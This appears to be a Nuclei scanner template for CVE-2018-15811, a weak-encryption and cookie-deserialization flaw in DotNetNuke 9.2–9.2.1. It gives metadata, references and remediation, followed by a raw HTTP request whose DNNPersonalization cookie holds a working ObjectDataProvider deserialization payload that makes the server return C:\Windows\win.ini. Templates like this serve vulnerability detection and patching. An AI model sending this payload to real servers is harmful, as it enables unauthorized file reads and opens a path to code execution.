DNN (DotNetNuke) versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.
PoC代码[已公开]
id: CVE-2018-15811
info:
name: DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization
author: pdteam
severity: high
description: |
DNN (DotNetNuke) versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.
impact: |
Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks.
remediation: |
Update to DotNetNuke version 9.2.2 or later which addresses the weak encryption issues.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-15811
- https://github.com/dnnsoftware/Dnn.Platform/releases
- http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-15811
cwe-id: CWE-326
epss-score: 0.9148
epss-percentile: 0.99646
cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dnnsoftware
product: dotnetnuke
fofa-query: app="dotnetnuke"
verified: true
tags: cve,cve2018,dotnetnuke,crypto,deserialization,rce,kev,dnnsoftware,vkev,vuln
http:
- raw:
- |
GET /__ HTTP/1.1
Host: {{Hostname}}
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
matchers-condition: and
matchers:
- type: word
part: body
words:
- '[extensions]'
- 'for 16-bit app support'
condition: and
- type: status
status:
- 404
# digest: 4a0a00473045022025fc9a8e90d2806c180d7d1a6e0912573bb3ae4d8fcce73eae2c0a84d0bcb4ac022100c855f09cc478ae5ddf8adc33cabfc1c2e7ff1594f1edab720904f95f5c59f86a:922c64590222798bb761d5b6d8e72950